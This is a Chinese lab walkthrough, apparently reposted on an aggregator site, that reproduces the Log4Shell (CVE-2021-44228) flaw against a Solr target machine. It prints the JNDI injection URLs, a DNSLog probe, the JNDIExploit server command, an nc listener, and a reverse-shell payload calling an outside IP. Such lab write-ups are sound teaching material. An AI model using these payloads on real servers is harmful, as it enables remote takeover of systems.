【靶机实战】Apache Log4j2命令执行漏洞复现

# 在线靶场

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> Log4j2-RCE

原文:【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell (get-shell.com)

# 简介

Apache Log4j2 是一个广泛使用的 Java 日志记录库,它允许开发者将日志信息输出到不同的目的地。2021年12月,一个严重的漏洞(CVE-2021-44228)被发现,这个漏洞允许攻击者通过构造特定的输入,利用 Log4j2 的 JNDI(Java Naming and Directory Interface)功能,远程执行任意代码。这意味着如果应用程序使用了受影响版本的 Log4j2,并且允许用户控制日志输入,攻击者就可以通过发送恶意的日志请求,执行服务器上的任意命令,从而获得对服务器的控制,这个漏洞被称为 “Log4Shell”。

# 漏洞复现

打开打开靶场首页,是Solr 8.110的系统,这个系统的版本存在Log4j2的漏洞

图片[1] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

我们使用DNSLOG平台:www.dnslog.cn,点击Get SubDomain,获得一个临时域名,生成备用。

然后访问Solr靶场,访问:http://domain/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com},将example.com替换为dnslog生成的域名,例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.j9oi8g.dnslog.cn},然后进行访问,Solr出现这样的界面。

图片[2] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

查看DNSLog平台,点击Refresh Record,发现出现了访问记录,这是服务端发起了请求,说明此处存在JDNI注入

图片[3] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

利用JNDI注入工具:【JNDI注入利用工具】JNDIExploit 进行注入,在一个拥有公网IP的服务器上运行此工具(建议使用JDK8),命令:java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <出口IP>

图片[4] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

然后再此服务器上使用NC开启监听12345端口,命令:nc -lvvp 12345

图片[5] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

回到Solr靶场,利用JNDI注入工具的反弹Shell功能,访问URL:http://domian/solr/admin/cores?action=${jndi:ldap://<JNDI服务端IP>:1389/Basic/ReverseShell/<nc监听的IP>/<nc监听的端口>},例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://43.129.200.87:1389/Basic/ReverseShell/43.129.200.87/12345}

图片[6] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

然后查看NC监听机,发现Shell已经成功反弹过来了,这时候已经完全控制了服务端,可以随意执行命令了。

图片[7] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/40999.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ROS2】初级:CLI工具- 理解话题(或主题)

理解话题 目标&#xff1a;使用 rqt_graph 和命令行工具来内省 ROS 2 话题。 教程级别&#xff1a;初学者 时间&#xff1a;20 分钟 目录 背景 先决条件 任务 设置2 rqt_graph3 ros2 话题列表4 ros2 话题回声5 ros2 话题信息6 ros2 接口显示7 ros2 话题发布8 ros2 话题赫兹 清理…

详细对比Java SPI、Spring SPI 和 Dubbo SPI

SPI&#xff08;Service Provider Interface&#xff09;概述 定义&#xff1a;SPI是一种动态替换发现机制&#xff0c;用于实现接口与实现的解耦&#xff0c;提高框架的可扩展性。核心思想&#xff1a;解耦和方便扩展。 Java SPI 约定规范&#xff1a; 扩展类文件放在META-…

技术革新引领钢材质量智能化检测新纪元,基于YOLOv5全系列【n/s/m/l/x】参数模型开发构建钢材工业生产场景下钢材缺陷智能检测识别系统

随着人工智能&#xff08;AI&#xff09;技术的迅猛发展&#xff0c;其应用领域不断拓宽&#xff0c;正深刻改变着传统产业的运作模式。在钢材生产这一基础工业领域&#xff0c;AI的引入正为钢材的质量检测带来革命性的变革。 在传统的钢材生产流程中&#xff0c;质量检测是确…

基于Bootstrap Blazor开源的.NET通用后台权限管理系统

前言 今天大姚给大家分享一个基于Bootstrap Blazor开源的.NET通用后台权限管理系统&#xff0c;后台管理页面兼容所有主流浏览器&#xff0c;完全响应式布局&#xff08;支持电脑、平板、手机等所有主流设备&#xff09;&#xff0c;可切换至 Blazor 多 Tabs 模式&#xff0c;…

打破数据生产力的桎梏,打造数据分析驱动的新型组织

在当前的经济环境下&#xff0c;各行业面临着前所未有的挑战&#xff0c;降本增效成为企业普遍追求的目标。数字化转型被视为实现这一目标的关键路径。通过数字化手段&#xff0c;企业能够探索新的增长机会&#xff0c;提升运营效率&#xff0c;并有效控制成本支出。在这一转型…

纯前端低代码开发脚手架 - daelui/molecule

daelui/molecule低代码开发脚手架&#xff1a;分子组件开发、预览、打包 页面代码示例、大屏代码示例预览 可开发页面组件 可开发大屏组件 项目git地址&#xff1a;https://gitee.com/daelui/molecule 在线预览&#xff1a;http://www.daelui.com/daelui/molecule/app/index.…

mongodb-数据备份和恢复

mongodb-database-tools mongodb-database-tools是MongoDB官方提供的一组命令行工具&#xff0c;用于执行各种与MongoDB数据库相关的操作&#xff0c;包括备份、恢复、导入、导出、查询和转换数据等。这些工具可帮助开发人员和管理员轻松地管理MongoDB数据库。 以下是一些常用…

探索如何赋予对象迭代魔法,轻松实现非传统解构赋值的艺术

前言 今天下午在网上冲浪过程中看到这样一个问题 面试题&#xff1a;如何让 var [a, b] {a: 1, b: 2} 解构赋值成功&#xff1f; 据说是某大厂面试题&#xff0c;于是我学习了一下这个问题&#xff0c;写下这篇文章记录一下。 学习过程 要想解决这个问题首先要知道什么是解…

C++单例模式、工厂模式、观察者模式等的实现和应用场景。

设计模式是软件开发中常用的解决方案&#xff0c;它们提供了一些经过验证的方法来解决常见的设计问题。以下是单例模式、工厂模式和观察者模式在C中的实现和应用场景的详细讲解。 1. 单例模式&#xff08;Singleton Pattern&#xff09; 概念 单例模式确保一个类只有一个实例…

概率论与数理统计_上_科学出版社

contents 前言第1章 事件与概率1.1 随机事件与样本空间1.1.1 样本空间1.1.2 随机事件1.1.3 事件之间的关系与运算 1.2 概率的三种定义及其性质1.2.1 概率的统计定义1.2.2 概率的古典定义1.2.3 概率的几何定义1.2.4 概率的性质 1.3 常用概型公式1.3.1 条件概率计算公式1.3.2 乘法…

百日筑基第十一天-看看SpringBoot

百日筑基第十一天-看看SpringBoot 创建项目 Spring 官方提供了 Spring Initializr 的方式来创建 Spring Boot 项目。网址如下&#xff1a; https://start.spring.io/ 打开后的界面如下&#xff1a; 可以将 Spring Initializr 看作是 Spring Boot 项目的初始化向导&#xff…

【数智化人物展】数势科技创始人兼CEO黎科峰:数智化时代To B软件行业面临颠覆与重塑...

黎科峰 本文由数势科技创始人兼CEO黎科峰投递并参与由数据猿联合上海大数据联盟共同推出的《2024中国数智化转型升级先锋人物》榜单/奖项评选。 大数据产业创新服务媒体 ——聚焦数据 改变商业 2020年&#xff0c;对我而言&#xff0c;是职业生涯中的一个重大转折点。在全球新…

FPGA/数字IC复习八股

一、FPGA概念&#xff0c;与数字IC的区别 二、FPGA底层逻辑 三、同步电路、异步电路以及优缺点 四、同步复位、异步复位、异步复位同步释放 深入理解复位---同步复位&#xff0c;异步复位&#xff0c;异步复位同步释放(含多时钟域&#xff09;_画出支持异步复位dff的电路图…

CourseDetail

目录 1、 CourseDetail.cshtml 1.1、 Content body start 1.2、 <!-- row --> 1.3、 Content body end CourseDetail.cshtml@{Layout = "_Admin

使用css,让div消失在视野中的方法

使用css&#xff0c;让div消失在视野中的方法 display: none;visibility: hidden;opacity:0;通过定位隐藏元素通过margin隐藏元素 display: none; display:none是彻底消失&#xff0c;不在文档流中占位&#xff0c;浏览器也不会解析该元素&#xff1b; 如果给一个元素设置了d…

频域信号通过逆傅里叶变换恢复成时域信号

频域信号通过逆傅里叶变换恢复成时域信号 flyfish import numpy as np import matplotlib.pyplot as plt from scipy.fftpack import fft, ifft plt.rcParams[font.sans-serif] [SimHei] plt.rcParams[axes.unicode_minus] False# 设置参数 t np.linspace(0, 1, 1000, en…

Google XTS 问题解决 | Android 设备认证

XTS介绍 https://source.android.com/docs/compatibility/cts?hlzh-cn CTS (Compatibility Test Suite) &#xff1a; 兼容性测试套件&#xff0c;主要 google 为保证 Android 核心接口功能的 兼容性。GTS &#xff08; google test suite &#xff09;&#xff1a; Google…

pytorch pnnx repvit模型转换

先把模型转到libtorch #!/usr/bin/env python3 # -*- coding:utf-8 -*- import argparse import time import sys import os import torch import torch.nn as nn import torch.backends.cudnn as cudnn from timm.models import create_model import time import modelinput_…

Django权限系统如何使用?

Django的权限系统是一个强大而灵活的特性&#xff0c;允许你控制不同用户对应用程序中资源的访问。以下是使用Django权限系统的几个基本步骤&#xff1a; 1. 定义模型权限 在你的models.py文件中&#xff0c;你可以为每个模型定义自定义权限。这通过在模型的Meta类里设置perm…

Simulink中示波器连续运行的方法

1.在Simulink中,经常要使用到示波器,默认示波器是定时运行的,只能观察到一小部分运行的波形;实际调试过程中,经常要连续运行,因此,需要设置示波器为连续运行模式,下面将介绍示波器连续运行的方法。 打开Simulink仿真软件,找到仿真设置按钮,点击设置: 2.将其停止时间…